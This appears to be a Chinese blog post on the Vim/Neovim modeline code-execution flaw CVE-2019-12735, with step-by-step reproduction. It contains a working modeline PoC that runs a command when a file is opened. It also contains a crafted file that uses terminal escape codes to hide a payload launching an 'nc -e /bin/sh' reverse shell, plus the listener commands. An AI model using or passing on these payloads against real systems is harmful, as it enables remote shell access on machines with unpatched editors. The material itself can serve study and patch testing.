文本编辑器Vim/Neovim任意代码执行漏洞(CVE-2019-12735)
2024-10-22 02:56:48
受影响版本:
Vim < 8.1.1365, Neovim < 0.3.6
前提:开启modeline
0x01 开启modeline
在你的home下的.vimrc文件中增加一行:
set modeline
0x02 Poc
创建文件poc.txt,内容为
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
输入命令 $vim poc.txt
系统将会执行uname -a
0x03 反弹shell
创建shell.txt,内容如下
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
开启两个终端:
一个输入命令 $nc -lvvp 9999
另一个命令为 $vim shell.txt
成功反弹shell
参考链接:
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
最新文章
- IE下只读INPUT键入BACKSPACE 后退问题(readonly=&#39;true&#39;)
- php一些技巧函数
- Highcharts导出gb2312乱码问题
- [Flex] Accodion系列 - Header文本颜色设置
- atprogram.exe : Atmel Studio Command Line Interface
- List<;HashMap>;和HashMap
- POJ 1734 Sightseeing trip
- JD-GUI on Ubuntu 13.04 64-bit
- linux系统CPU,内存,磁盘,网络流量监控脚本
- Orcle导入导出dmp文件
- How to Collect Bne Log Files for GL Integrators
- leetcode — restore-ip-addresses
- Win10系列:C#应用控件进阶1
- 探秘小程序(8):scroll-view组件
- 【Alpha阶段】展示博客发布!
- python工具 - alert弹框输出姓名年龄、求和
- beyondCompare工具使用
- 二叉堆复习(包括d堆)
- mysql主从复制以及读写分离
- ubuntu,windows 卸载安装mysql